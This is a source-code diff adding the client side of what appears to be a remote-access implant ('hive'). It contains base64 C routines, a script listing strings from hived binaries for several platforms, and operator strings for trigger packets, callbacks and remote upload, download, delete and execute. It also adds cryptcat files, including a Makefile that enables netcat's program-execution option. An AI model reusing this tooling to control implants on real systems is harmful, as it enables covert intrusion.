+ out[3] = (unsigned char) (len > 2 ? cb64[ in[2] & 0x3f ] : '=');
+
+}
+
+/*
+** decodeblock
+**
+** decode 4 '6-bit' characters into 3 8-bit binary bytes
+*/
+
+void
+b64_decodeblock( unsigned char in[4],
+ unsigned char out[3] )
+
+{
+
+ out[ 0 ] = (unsigned char ) (in[0] << 2 | in[1] >> 4);
+
+ out[ 1 ] = (unsigned char ) (in[1] << 4 | in[2] >> 2);
+
+ out[ 2 ] = (unsigned char ) (((in[2] << 6) & 0xc0) | in[3]);
+
+}
+
+int
+b64_encode_message( const uint8_t * message,
+ uint8_t * output,
+ int message_length,
+ int * output_length)
+{
+ unsigned char in[3], out[4];
+ int i, block_length;int message_index =0;
+ int output_index =0;
+
+ if(message == NULL || output == NULL || message_length < 0 ) {
+ return FAILURE;
+ }
+
+ while( message_index < message_length ) {
+
+ // one block
+ for( i = 0, block_length =0; i < 3; i++ ) {
+
+ in[i] = message_index < message_length ? (unsigned char) message[message_index] : EOF;
+
+ if( message_index < message_length ) {
+
+ message_index++;
+ block_length++;
+
+ } else {
+
+ in[i] = 0;
+
+ }
+
+ }
+
+ if( block_length ) {
+
+ b64_encodeblock( in, out, block_length );
+
+ for( i = 0; i < 4; i++ ) {
+
+ output[output_index++] = out[i];
+
+ }
+
+
+ }
+
+ }
+
+ *output_length = output_index;
+
+ return SUCCESS;
+}
+
+int
+b64_decode_message( const uint8_t * message,
+ uint8_t * output,
+ int message_length,
+ int * output_length)
+{
+ unsigned char in[3], out[4], v;
+ int i, block_length;
+ int message_index =0;
+ int output_index =0;
+
+ info("IN DECODE MESSAGE, %s", message);
+ info("LENGTH, %d", message_length);
+
+ if(message == NULL || output == NULL || message_length <= 0 ) {
+ return FAILURE;
+ }
+
+ while( message_index != (message_length+1) ) {
+
+ for( i = 0, block_length =0;
+ i < 4 && message_index != (message_length +1);
+ i++ )
+ {
+
+ v = 0;
+
+ while( message_index != (message_length+1) && v == 0 ) {
+
+
+ v = message_index < message_length ? (unsigned char) message[message_index] : EOF;
+
+ message_index++;
+
+ v = (unsigned char) ((v < 43 || v > 122) ? 0 : cd64[ v - 43 ]);
+
+ if( v ) {
+
+ v = (unsigned char) ((v == '$') ? 0 : v - 61);
+
+ }
+ }
+
+ // one block
+ if( message_index != (message_length+1) ) {
+
+ block_length++;
+
+ if( v ) {
+
+ in[ i ] = (unsigned char) (v - 1);
+
+ }
+
+ } else {
+
+ in[i] = 0;
+
+ }
+
+ }
+
+ if( block_length ) {
+
+ b64_decodeblock( in, out );
+
+ for( i = 0; i < block_length - 1; i++ ) {
+
+ output[output_index++] = out[i];
+
+ }
+
+ }
+
+ }
+
+ *output_length = output_index;
+ return SUCCESS;
+
+}
diff --git a/client/b64.h b/client/b64.h
new file mode 100644
index 0000000..c800e15
--- /dev/null
+++ b/client/b64.h
@@ -0,0 +1,26 @@
+#ifndef _dt_b64_h
+#define _dt_b64_h
+
+#ifndef SUCCESS
+#define SUCCESS 0
+#endif
+
+#ifndef FAILURE
+#define FAILURE -1
+#endif
+
+extern int
+b64_decode_message( const uint8_t * message,
+ uint8_t * output,
+ int message_length,
+ int * output_length);
+
+extern int
+b64_encode_message( const uint8_t * message,
+ uint8_t * output,
+ int message_length,
+ int * output_length);
+
+
+
+#endif
diff --git a/client/checkStrings.bsh b/client/checkStrings.bsh
new file mode 100755
index 0000000..174e3b9
--- /dev/null
+++ b/client/checkStrings.bsh
@@ -0,0 +1,37 @@
+ #!/bin/bash
+rm -f hiveStrings.txt
+echo -e "===================================" >> hiveStrings.txt
+echo -e "\tMIPSBE" >> hiveStrings.txt
+echo -e "===================================\n" >> hiveStrings.txt
+strings hived-mikrotik-mipsbe-unpatched >> hiveStrings.txt
+
+echo -e "\n\n===================================" >> hiveStrings.txt
+echo -e "\tMIPSLE" >> hiveStrings.txt
+echo -e "===================================\n" >> hiveStrings.txt
+strings hived-mikrotik-mipsle-unpatched >> hiveStrings.txt
+
+echo -e "\n\n===================================" >> hiveStrings.txt
+echo -e "\tPPC" >> hiveStrings.txt
+echo -e "===================================\n" >> hiveStrings.txt
+strings hived-mikrotik-ppc-unpatched >> hiveStrings.txt
+
+echo -e "\n\n===================================" >> hiveStrings.txt
+echo -e "\tX86 (Mikrotik)" >> hiveStrings.txt
+echo -e "===================================\n" >> hiveStrings.txt
+strings hived-mikrotik-i386-unpatched >> hiveStrings.txt
+
+echo -e "\n\n===================================" >> hiveStrings.txt
+echo -e "\tSolaris (Sparc)" >> hiveStrings.txt
+echo -e "===================================\n" >> hiveStrings.txt
+strings hived-solaris-sparc-unpatched >> hiveStrings.txt
+
+echo -e "\n\n===================================" >> hiveStrings.txt
+echo -e "\tSolaris (i386)" >> hiveStrings.txt
+echo -e "===================================\n" >> hiveStrings.txt
+strings hived-solaris-i386-unpatched >> hiveStrings.txt
+echo " " >> hiveStrings.txt
+
+echo -e "\n\n===================================" >> hiveStrings.txt
+echo -e "\tLinux (i386)" >> hiveStrings.txt
+echo -e "===================================\n" >> hiveStrings.txt
+strings hived-linux-i386-unpatched >> hiveStrings.txt
diff --git a/client/client_strings.txt b/client/client_strings.txt
new file mode 100644
index 0000000..471a0fd
--- /dev/null
+++ b/client/client_strings.txt
@@ -0,0 +1,160 @@
+//TODO: fix the usage statement
+#define n dieselt_usage "\nUsage: ih_generator -t <ip> -c <ip> -p <###> -g <type>\n\n"
+
+#define n dieselt_udev_rand "/dev/urandom"
+
+#define n dieselt_in_arg1 "\n\tTrigger type: \t\t\t"
+#define n dieselt_in_arg2 "Ping Request (ICMP type 0)\n"
+#define n dieselt_in_arg3 "Ping Reply (ICMP type 8)\n"
+#define n dieselt_in_arg4 "ICMP error packet, type 3, code %d\n"
+#define n dieselt_in_arg5 "TFTP write request packet, (UDP)\n"
+#define n dieselt_in_arg6 "\tTarget Address: \t\t%s\n"
+#define n dieselt_in_arg12 "\tTrigger Port: \t\t\t%d\n"
+#define n dieselt_in_arg7 "\tCallback Address: \t\t%s\n"
+#define n dieselt_in_arg8 "\tCallback port: \t\t\t%d\n\n"
+#define n dieselt_in_arg9 "DNS query packet, (UDP)\n"
+#define n dieselt_in_arg10 "Raw TCP packet\n"
+#define n dieselt_in_arg11 "Raw UDP datagram\n"
+
+#define n dieselt_parse_trig1 "ping-request"
+#define n dieselt_parse_trig2 "ping-reply"
+#define n dieselt_parse_trig3 "icmp-error"
+#define n dieselt_parse_trig4 "tftp-wrq"
+#define n dieselt_parse_trig5 "dns-request"
+#define n dieselt_parse_trig6 "raw-tcp"
+#define n dieselt_parse_trig7 "raw-udp"
+
+//main.c
+#define n ErrorString "ERROR"
+#define n optionRequiresArgString "Option requires an argument --"
+#define n invalidOptionString "Invalid option --"
+#define n invalidIPAddressString "invalid IP address specified\n"
+#define n invalidProtocolString "Invalid trigger protocol. Supported protocols are:\n"
+#define n pingRequestString "\tping-request\n"
+#define n pingReplyString "\tping-reply\n"
+#define n icmpErrorString "\ticmp-error\n"
+#define n tftpWrqString "\ttftp-wrq\n"
+#define n dnsRequestString "\tdns-request\n"
+#define n rawTcpString "\traw-tcp\n"
+#define n rawUdpString "\traw-udp\n"
+#define n incompleteOptionString "Incomplete options"
+
+//misc.c
+#define n UsageString "Usage"
+#define n usageExample01String "[-p port] \n"
+#define n usageExample02String "[-p port] [-t address] [-a address] [-P protocol] [-m mode] \n\n"
+#define n usageExample03String " Depending on options, client can send triggers, listen, or both\n"
+#define n usageExample04String " [-p port] - callback port\n"
+#define n usageExample05String " [-t address] - IP address of target\n"
+#define n usageExample06String " [-a address] - IP address of listener\n"
+#define n usageExample07String " [-P protocol] - trigger protocol (dns-request, tftp-wrq, icmp-error, ping-reply, ping-request, raw-tcp, raw-udp)\n"
+#define n usageExample08String " [-r raw_port] - when using raw triggers, this specifies which port to send the trigger\n"
+#define n usageExample09String " [-m mode] - client to listen-only, trigger-only, or both (default) ('l', 't', 'b')\n"
+#define n usageExample10String " [-d delay] - not yet implemented (optional) delay between received trigger and callback\n"
+#define n usageExample11String " [-h ] - print this usage\n\n"
+#define n ExampleString "Examples"
+#define n comingSoonString " Coming soon!\n\n"
+#define n readScriptString1 "ReadScript(): failure to allocate memory for the command vector\n"
+#define n readScriptString2 "ReadScript(): failure to reallocate memory for the command vector\n"
+#define n tcpInitString " TcpInit(): failure creating TCP/IP socket\n"
+#define n reuseTcpPortString " Cannot reuse TCP port. Use another or wait until this port is released.\n"
+#define n listeningString "Listening for a connection on port"
+#define n tcpInitFailString " TcpInit(): failure accepting the TCP/IP connection\n"
+#define n connectionEstString "... connection established"
+#define n sessionConfigParamString "Session configuration parameters"
+#define n interactiveModeString " . Interactive mode established\n"
+#define n automaticMode1String " Automatic mode established (not ignoring errors)\n"
+#define n automaticMode2String " Automatic mode established (ignoring errors)\n"
+#define n commandString " Command string"
+#define n remoteIPAddressString " . Remote IP address"
+#define n onPortString "on port"
+#define n localIPAddressString " . Local IP address"
+
+//functions.c
+#define n ulString "ul"
+#define n upString "up"
+#define n dlString "dl"
+#define n doString "do"
+#define n delString "del"
+#define n exeString "exe"
+#define n exitString "exit"
+#define n qString "q"
+#define n shutString "shut"
+#define n helpString "help"
+#define n upload1String "\n\tINVALID INPUT! Read User's Guide for correct command format and punctuation!\n\n"
+#define n upload2String "\tSource file (local)? "
+#define n upload3String "\tINVALID INPUT! User must specify a filename to upload to the remote computer!\n"
+#define n upload4String "\tDestination file (remote)"
+#define n uploadString "upload"
+#define n upload5String "(local) to"
+#define n upload6String "(remote) with size"
+#define n upload7String "successful upload of"
+#define n upload8String "bytes from"
+#define n upload9String "application/network errors occurred during upload\n"
+#define n upload10String "unsuccessful upload due to problems at remote computer\n"
+#define n download2String "\tSource file (remote)? "
+#define n download3String "\tINVALID INPUT! User must specify a filename to download to the local computer!\n"
+#define n download4String "\tDestination file (local)"
+#define n downloadString "download"
+#define n download5String "successful download of"
+#define n download6String "application/network errors occurred during download\n"
+#define n download7String "unsuccessful download due to problems at remote computer\n"
+#define n remove1String "\tFile/application to delete (remote)? "
+#define n remove2String "\tINVALID INPUT! User must specify a filename to delete on the remote computer!\n"
+#define n deleteString "delete"
+#define n remove3String "successful deletion of remote file"
+#define n remove4String "unsuccessful deletion due to problems at remote computer\n"
+#define n execute1String "\tApplication to execute (remote)? "
+#define n execute2String "\tINVALID INPUT! User must specify an application to execute on the remote computer!\n"
+#define n executeString "execute"
+#define n execute3String "successful execution of remote application"
+#define n execute4String "unsuccessful execution due to problems at remote computer\n"
+#define n stopSession1String " WARNING (SHUTDOWN COMMAND)! You are about to close BOTH this session AND terminate the beacon's process.\n"
+#define n stopSession2String " Do you want to continue? (yes/no): "
+#define n stopSession3String " WARNING (EXIT COMMAND)! You are about to close your session, but the beacon will continue processing.\n"
+#define n stopSession4String "shutdown (command confirmed with the operator)\n"
+#define n stopSession5String "exit (command confirmed with the operator)\n"
+#define n stopSession6String "\tWARNING! ARE YOU SURE YOU WANT TO SHUTDOWN THE REMOTE SERVER AND CONNECTION (yes/no)? "
+#define n stopSession7String "shutdown (command confirmed with the operator)\n"
+#define n stopSession8String "TCP socket disconnected\n"
+#define n stopSession9String "server shutdown and TCP socket disconnected\n"
+#define n stopSession10String "remote command failed due to problems at remote computer\n"
+#define n displayHelp1String "\n*****************************************************************************************************************\n\n"
+#define n displayHelp2String "List of allowable commands:\n"
+#define n displayHelp3String " [execute | exec | exe] = execute an application on the remote computer\n"
+#define n displayHelp4String " [upload | ul | up] = upload a file to the remote computer\n"
+#define n displayHelp5String " [download | dl] = download a file to the local computer (i.e., this computer)\n"
+#define n displayHelp6String " [delete | del] = delete a file on the remote computer\n"
+#define n displayHelp7String " [exit | q] = close the TCP connection but keep the server running on the remote computer\n"
+#define n displayHelp8String " [shutdown | shut] = close the TCP connection and stop the server running on the remote computer\n"
+#define n displayHelp9String " [help] = display this help information\n\n"
+#define n displayHelp10String "Format of the allowable commands:\n"
+#define n displayHelp11String "exec <application :: remote"
+#define n displayHelp12String "ul <src file :: local> <dest file :: remote"
+#define n displayHelp13String "dl <src file :: remote> <dest file :: local"
+#define n displayHelp14String "del <file :: remote"
+#define n displayHelp15String "NOTE: <file/application :: remote/local> defines the locality of the file or application.\n"
+#define n sendFile1String "\tSendFile(): failure sending data to the remote computer\n"
+#define n sendFile2String "\tSendFile(): failure receiving acknowledgement from the remote computer\n"
+#define n recvFile1String "\tRecvFile(): failure receiving data from the remote computer\n"
+#define n recvFile2String "\tRecvFile(): failure receiving acknowledge from the remote computer\n"
+#define n sendCommand1String "\tSendCommand(): failure sending request to the remote computer\n"
+#define n sendCommand2String "\tSendCommand(): failure receiving response from the remote computer\n"
+
+//modes.c
+#define n run1String "Enabling encrypted communications"
+#define n run2String " ERROR: TLS connection with TLS client failed to initialize.\n"
+
+//parser.c
+#define n buildArgv1String "BuildArgv(): failure to allocate memory for the copy buffer\n"
+#define n buildArgv2String "BuildArgv(): failure to allocate memory for the argument vector\n"
+
+//trigger.c
+#define n triggerStart1String "Sending trigger ..."
+#define n triggerStart2String "failed."
+#define n triggerStart3String "Could not create TCP socket connection with remote host."
+#define n root_or_fail1String "Must be root to send"
+#define n root_or_fail2String "ping-reply, ping-response, or icmp-error"
+#define n root_or_failFinalString "triggers.\n\n"
+
+
diff --git a/client/colors.h b/client/colors.h
new file mode 100644
index 0000000..42e53bf
--- /dev/null
+++ b/client/colors.h
@@ -0,0 +1,42 @@
+#ifndef __COLORS_H
+#define __COLORS_H
+
+#define BLACK "\e[0;30m"
+#define RED "\e[0;31m"
+#define GREEN "\e[0;32m"
+#define YELLOW "\e[0;33m"
+#define BLUE "\e[0;34m"
+#define PURPLE "\e[0;35m"
+#define CYAN "\e[0;36m"
+#define WHITE "\e[0;37m"
+
+#define BLACK_B "\e[1;30m"
+#define RED_B "\e[1;31m"
+#define GREEN_B "\e[1;32m"
+#define YELLOW_B "\e[1;33m"
+#define BLUE_B "\e[1;34m"
+#define PURPLE_B "\e[1;35m"
+#define CYAN_B "\e[1;36m"
+#define WHITE_B "\e[1;37m"
+
+#define BLACK_U "\e[4;30m"
+#define RED_U "\e[4;31m"
+#define GREEN_U "\e[4;32m"
+#define YELLOW_U "\e[4;33m"
+#define BLUE_U "\e[4;34m"
+#define PURPLE_U "\e[4;35m"
+#define CYAN_U "\e[4;36m"
+#define WHITE_U "\e[4;37m"
+
+#define BLACK_BACK "\e[40m"
+#define RED_BACK "\e[41m"
+#define GREEN_BACK "\e[42m"
+#define YELLOW_BACK "\e[43m"
+#define BLUE_BACK "\e[44m"
+#define PURPLE_BACK "\e[45m"
+#define CYAN_BAC "\e[46m"
+#define WHITE_BACK "\e[47m"
+
+#define RESET "\e[0m"
+
+#endif
diff --git a/client/cryptcat/Changelog b/client/cryptcat/Changelog
new file mode 100644
index 0000000..6346d0b
--- /dev/null
+++ b/client/cryptcat/Changelog
@@ -0,0 +1,122 @@
+Here is sort of an edit history for netcat, in forward cron order.
+
+950915 or so
+ basic gethostpoop and doconnect layout established
+950920 or so
+ timeout handlers, improvements to gethostpoop, read-stdin-args,
+ primitive select loop, and later the stdin-to-many saved-count thing
+950923
+ select loop is firm, connect and i/o works nicely
+ added listen mode
+ crocked in UDP and debugged how its back-connect works
+950927
+ unsnarled main a fair amount
+ got "udptest" working right
+ added HELP!! yow.
+951003
+ added exec-a-prog thing
+ cleaned up routine-header comments
+ signal catcher
+ close stdin when we won't need it [-z, etc]
+951004
+ getportpoop
+ inbound options hexdump finally works [forgot to preload "size" int]
+951005 or so
+ added random mode, which necessitated more main() logic cleanups
+951008
+ hammered out exit-status stuff, final main() argv loop cleanup
+ massive readme cleanup pre-1.00 release
+951010
+ almost-1.00 release up for FTP, but not announced yet
+ added a couple of wrapper scripts
+951012 -- 1.00
+ nc100 RELEASE, mailing-list spam, etc etc
+951021
+ doc tweak per cgull
+ webproxy/webrelay scripts came together. fuckin' yow.
+951023
+ added indication of *local* address in dolisten() connect handling
+ reset errno before dolisten msgs -- gethostpoop might have munged it
+951028 -- 1.01
+ fixed exit status if -z on a single port -- was -1, is now 0 or 1
+ like it should be
+951029
+ put "sent/rcvd" typeout more places, still only if -v -v
+ Doc fix: It's *David* Borman, not Paul [aka Mr. Environment
+ Variables, this month...]
+951106 -- 1.02
+ added h_errno strings and updated holler, gethostpoop to find them
+ Still slightly confused if gethostpoop() returns prematurely...
+951107
+ sys/select.h for them what needs it
+ wrote_txt and more calls to print sent/rcvd
+951110
+ try rnd-options, but setsockopt tosses them. Punt...
+ dumped "x.y" microtiming idea; seconds are granular enough for now
+ tweaked help text
+951113 -- 1.03
+ added first-net-read skip to select loop if we have saved stdin, and
+ moved retry-count test ahead of this. Makes multimode work much more
+ sensibly...
+ fleshed out this here edit history
+951204 -- 1.04
+ fixed duplication lameness with printing h_errno stuff
+951215
+ improved data.c; added xfer count and %r
+951217
+ rservice.c, an answer to mudge's k-rad script
+951227
+ port data.c to msloss, it might be useful
+ some doc slogging; particularly the telnet-wrapper idea
+960120 -- 1.05
+ give totals even if we ^C out [that's what sigcatchers are *for*!]
+ cleaned up big LSRR explanation comment
+960131 -- 1.06
+ flushed rndoption stuff
+ report of closing stdin fucking up Solaris. Not tried yet.
+ extra arg to rservice.c
+ documentation updates, added netcat-art and many udder tings
+ added Bela Lubkin's #ifdefs for SIGURG [SCO rel 5]
+ added ignoring SIGPIPE [lesson learned from webs.c]
+960201
+ genned up some more data dumps: pmap-mnt.d, showmount.d,
+ various others; into real tree
+960217 -- 1.07
+ finally fixed stdin-read-args thing to retain and send leftover data
+ added version to help text
+ made ascii-art cuter
+ added "probe" script
+ added Nextstep systype
+ finally fixed data.c to run "forever"
+ created xor.c
+960223 -- 1.08
+ if doconnect skt is 0 grab another one, don't dup(). [stupid solaris..]
+ threw in latest web scripts
+ threw in irc
+ more doc tweaks
+ stuck 1.08 prerelease up for FTP
+960227
+ hexdump in -- it's actually gonna be quite useful!
+ doc adds for hexdump; orig idea from dgaudet@wired
+960229 -- 1.09
+ telnet-opts responder in; left as OPTIONAL chunk since it mucks
+ with the data stream.
+ -e disables -o hexdump; avoid zero-length file turds
+960310 -- 1.09a goddamnit-I'm-gonna-release-REAL-soon
+ made -e work outbound, too
+ random final cleanups and doc updates ... pant pant ...
+960320 -- 1.10
+ RELEASE version tested everywhere I could get to, up for FTP
+
+000919 --
+ jojo@farm9.com -- added twofish encryption, converted cryptix twofish
+ java code to C++, added C interface layer between netcat & twofish
+
+ Extra -k Option added to set Shared secret key 9/25/00 -Xram_LraK
+ Bill Weiss -- -k change for NT version
+ 9/29/00 jojo -- fixed stupid buffer overflow bug in my code
+ 11/22/04 jleplast -- added -k option to -h list
+ 11/22/04 jleplast -- Added Endian fix provided by Renzo Davoli <renzo@cs.unibo.it>
+ 11/23/04 jleplast -- Fixed Endian patch for platforms. Tagged as 1-2-1
+ 12/22/04 jleplast -- Added changes to compile under Fedora. Thanks to Jon Asdourian <info@dataforensicsengineering.com> for testing.
+ 10/18/05 jleplast -- Tagged as 1-2-1-RELEASE and released.
diff --git a/client/cryptcat/Credits b/client/cryptcat/Credits
new file mode 100644
index 0000000..0d5c41c
--- /dev/null
+++ b/client/cryptcat/Credits
@@ -0,0 +1,3 @@
+11/22/04 jleplast -- Added Endian fix provided by Renzo Davoli <renzo@cs.unibo.it>
+12/22/04 jleplast -- Added changes to compile under Fedora. Thanks to Jon Asdourian <info@dataforensicsengineering.com> for testing.
+
diff --git a/client/cryptcat/Makefile b/client/cryptcat/Makefile
new file mode 100644
index 0000000..366d4cc
--- /dev/null
+++ b/client/cryptcat/Makefile
@@ -0,0 +1,135 @@
+# makefile for netcat, based off same ol' "generic makefile".
+# Usually do "make systype" -- if your systype isn't defined, try "generic"
+# or something else that most closely matches, see where it goes wrong, fix
+# it, and MAIL THE DIFFS back to Hobbit.
+
+### PREDEFINES
+
+# DEFAULTS, possibly overridden by <systype> recursive call:
+# pick gcc if you'd rather , and/or do -g instead of -O if debugging
+
+# debugging
+# DFLAGS = -DTEST -DDEBUG
+DFLAGS = -DGAPING_SECURITY_HOLE
+CFLAGS = -O
+XFLAGS = # xtra cflags, set by systype targets
+XLIBS = # xtra libs if necessary?
+# -Bstatic for sunos, -static for gcc, etc. You want this, trust me.
+STATIC =
+CC = cc $(CFLAGS)
+LD = $(CC) -s # linker; defaults to stripped executables
+o = o # object extension
+
+ALL = cryptcat
+
+### BOGON-CATCHERS
+
+bogus:
+ @echo "Usage: make <systype> [options]"
+
+### HARD TARGETS
+
+cryptcat: netcat.c farm9crypt.o twofish2.o
+ $(LD) $(DFLAGS) $(XFLAGS) $(STATIC) -o cryptcat netcat.c farm9crypt.o twofish2.o $(XLIBS)
+
+nc-dos:
+ @echo "DOS?! Maybe someday, but not now"
+
+### SYSTYPES -- in the same order as in generic.h, please
+
+# designed for msc and nmake, but easy to change for your compiler.
+# Recursive make may fail if you're short on memory -- u-fix!
+# Note special hard-target and "quotes" instead of 'quotes' ...
+dos:
+ $(MAKE) -e $(ALL)-dos $(MFLAGS) CC="cl /nologo" XLIBS= \
+ XFLAGS="/AS -D__MSDOS__ -DMSDOS" o=obj
+
+ultrix:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DULTRIX'
+
+# you may need XLIBS='-lresolv -l44bsd' if you have BIND 4.9.x
+sunos:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DSUNOS' STATIC=-Bstatic \
+ XLIBS='-lresolv'
+
+# Pick this one ahead of "solaris" if you actually have the nonshared
+# libraries [lib*.a] on your machine. By default, the Sun twits don't ship
+# or install them, forcing you to use shared libs for any network apps.
+# Kludged for gcc, which many regard as the only thing available.
+solaris-static:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DSYSV=4 -D__svr4__ -DSOLARIS' \
+ CC=gcc STATIC=-static XLIBS='-lnsl -lsocket -lresolv'
+
+# the more usual shared-lib version...
+solaris:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DSYSV=4 -D__svr4__ -DSOLARIS' \
+ CC=gcc STATIC= XLIBS='-lnsl -lsocket -lresolv'
+
+aix:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DAIX'
+
+linux:
+# make -e $(ALL) $(MFLAGS) XFLAGS='-DLINUX' STATIC=-static
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DLINUX' \
+ XLIBS='-lstdc++'
+
+# irix 5.2, dunno 'bout earlier versions. If STATIC='-non_shared' doesn't
+# work for you, null it out and yell at SGI for their STUPID default
+# of apparently not installing /usr/lib/nonshared/*. Sheesh.
+irix:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DIRIX -DSYSV=4 -D__svr4__' \
+ STATIC=-non_shared
+
+osf:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DOSF' STATIC=-non_shared
+
+# virtually the same as netbsd/bsd44lite/whatever
+freebsd:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DFREEBSD' STATIC=-static \
+ XLIBS='-lstdc++'
+
+bsdi:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DBSDI' STATIC=-Bstatic
+
+netbsd:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DNETBSD' STATIC=-static \
+ XLIBS='-lstdc++'
+openbsd:
+ @echo "use: make netbsd"
+# finally got to an hpux box, which turns out to be *really* warped.
+# STATIC here means "linker subprocess gets args '-a archive'" which causes
+# /lib/libc.a to be searched ahead of '-a shared', or /lib/libc.sl.
+hpux:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DHPUX' STATIC="-Wl,-a,archive"
+
+# unixware from bmc@telebase.com; apparently no static because of the
+# same idiotic lack of link libraries
+unixware:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DUNIXWARE -DSYSV=4 -D__svr4__' \
+ STATIC= XLIBS='-L/usr/lib -lnsl -lsocket -lresolv'
+
+# from Declan Rieb at sandia, for a/ux 3.1.1 [also suggests using gcc]:
+aux:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DAUX' STATIC=-static CC=gcc
+
+# Nexstep from mudge: NeXT cc is really old gcc
+next:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DNEXT' STATIC=-Bstatic
+
+farm9crypt.o: farm9crypt.cc farm9crypt.h
+ ${CC} -c farm9crypt.cc
+
+twofish2.o: twofish2.cc twofish2.h
+ ${CC} -c twofish2.cc
+
+# start with this for a new architecture, and see what breaks.
+generic:
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DGENERIC' STATIC=
+
+# Still at large: dgux dynix ???
+
+### RANDOM
+
+clean:
+ rm -f $(ALL) *.o *.obj
+
diff --git a/client/cryptcat/README b/client/cryptcat/README
new file mode 100644
index 0000000..4235bc4
--- /dev/null
+++ b/client/cryptcat/README
@@ -0,0 +1,946 @@
+Netcat 1.10
+=========== /\_/\
+ / 0 0 \
+Netcat is a simple Unix utility which reads and writes data ====v====
+across network connections, using TCP or UDP protocol. \ W /
+It is designed to be a reliable "back-end" tool that can | | _
+be used directly or easily driven by other programs and / ___ \ /
+scripts. At the same time, it is a feature-rich network / / \ \ |
+debugging and exploration tool, since it can create almost (((-----)))-'
+any kind of connection you would need and has several /
+interesting built-in capabilities. Netcat, or "nc" as the ( ___
+actual program is named, should have been supplied long ago \__.=|___E
+as another one of those cryptic but standard Unix tools. /
+
+In the simplest usage, "nc host port" creates a TCP connection to the given
+port on the given target host. Your standard input is then sent to the host,
+and anything that comes back across the connection is sent to your standard
+output. This continues indefinitely, until the network side of the connection
+shuts down. Note that this behavior is different from most other applications
+which shut everything down and exit after an end-of-file on the standard input.
+
+Netcat can also function as a server, by listening for inbound connections
+on arbitrary ports and then doing the same reading and writing. With minor
+limitations, netcat doesn't really care if it runs in "client" or "server"
+mode -- it still shovels data back and forth until there isn't any more left.
+In either mode, shutdown can be forced after a configurable time of inactivity
+on the network side.
+
+And it can do this via UDP too, so netcat is possibly the "udp telnet-like"
+application you always wanted for testing your UDP-mode servers. UDP, as the
+"U" implies, gives less reliable data transmission than TCP connections and
+some systems may have trouble sending large amounts of data that way, but it's
+still a useful capability to have.
+
+You may be asking "why not just use telnet to connect to arbitrary ports?"
+Valid question, and here are some reasons. Telnet has the "standard input
+EOF" problem, so one must introduce calculated delays in driving scripts to
+allow network output to finish. This is the main reason netcat stays running
+until the *network* side closes. Telnet also will not transfer arbitrary
+binary data, because certain characters are interpreted as telnet options and
+are thus removed from the data stream. Telnet also emits some of its
+diagnostic messages to standard output, where netcat keeps such things
+religiously separated from its *output* and will never modify any of the real
+data in transit unless you *really* want it to. And of course telnet is
+incapable of listening for inbound connections, or using UDP instead. Netcat
+doesn't have any of these limitations, is much smaller and faster than telnet,
+and has many other advantages.
+
+Some of netcat's major features are:
+
+ Outbound or inbound connections, TCP or UDP, to or from any ports
+ Full DNS forward/reverse checking, with appropriate warnings
+ Ability to use any local source port
+ Ability to use any locally-configured network source address
+ Built-in port-scanning capabilities, with randomizer
+ Built-in loose source-routing capability
+ Can read command line arguments from standard input
+ Slow-send mode, one line every N seconds
+ Hex dump of transmitted and received data
+ Optional ability to let another program service established connections
+ Optional telnet-options responder
+
+Efforts have been made to have netcat "do the right thing" in all its various
+modes. If you believe that it is doing the wrong thing under whatever
+circumstances, please notify me and tell me how you think it should behave.
+If netcat is not able to do some task you think up, minor tweaks to the code
+will probably fix that. It provides a basic and easily-modified template for
+writing other network applications, and I certainly encourage people to make
+custom mods and send in any improvements they make to it. This is the second
+release; the overall differences from 1.00 are relatively minor and have mostly
+to do with portability and bugfixes. Many people provided greatly appreciated
+fixes and comments on the 1.00 release. Continued feedback from the Internet
+community is always welcome!
+
+Netcat is entirely my own creation, although plenty of other code was used as
+examples. It is freely given away to the Internet community in the hope that
+it will be useful, with no restrictions except giving credit where it is due.
+No GPLs, Berkeley copyrights or any of that nonsense. The author assumes NO
+responsibility for how anyone uses it. If netcat makes you rich somehow and
+you're feeling generous, mail me a check. If you are affiliated in any way
+with Microsoft Network, get a life. Always ski in control. Comments,
+questions, and patches to hobbit@avian.org.
+
+Building
+========
+
+Compiling is fairly straightforward. Examine the Makefile for a SYSTYPE that
+matches yours, and do "make <systype>". The executable "nc" should appear.
+If there is no relevant SYSTYPE section, try "generic". If you create new
+sections for generic.h and Makefile to support another platform, please follow
+the given format and mail back the diffs.
+
+There are a couple of other settable #defines in netcat.c, which you can
+include as DFLAGS="-DTHIS -DTHAT" to your "make" invocation without having to
+edit the Makefile. See the following discussions for what they are and do.
+
+If you want to link against the resolver library on SunOS [recommended] and
+you have BIND 4.9.x, you may need to change XLIBS=-lresolv in the Makefile to
+XLIBS="-lresolv -l44bsd".
+
+Linux sys/time.h does not really support presetting of FD_SETSIZE; a harmless
+warning is issued.
+
+Some systems may warn about pointer types for signal(). No problem, though.
+
+Exploration of features
+=======================
+
+Where to begin? Netcat is at the same time so simple and versatile, it's like
+trying to describe everything you can do with your Swiss Army knife. This will
+go over the basics; you should also read the usage examples and notes later on
+which may give you even more ideas about what this sort of tool is good for.
+
+If no command arguments are given at all, netcat asks for them, reads a line
+from standard input, and breaks it up into arguments internally. This can be
+useful when driving netcat from certain types of scripts, with the side effect
+of hiding your command line arguments from "ps" displays.
+
+The host argument can be a name or IP address. If -n is specified, netcat
+will only accept numeric IP addresses and do no DNS lookups for anything. If
+-n is not given and -v is turned on, netcat will do a full forward and reverse
+name and address lookup for the host, and warn you about the all-too-common
+problem of mismatched names in the DNS. This often takes a little longer for
+connection setup, but is useful to know about. There are circumstances under
+which this can *save* time, such as when you want to know the name for some IP
+address and also connect there. Netcat will just tell you all about it, saving
+the manual steps of looking up the hostname yourself. Normally mismatch-
+checking is case-insensitive per the DNS spec, but you can define ANAL at
+compile time to make it case-sensitive -- sometimes useful for uncovering minor
+errors in your own DNS files while poking around your networks.
+
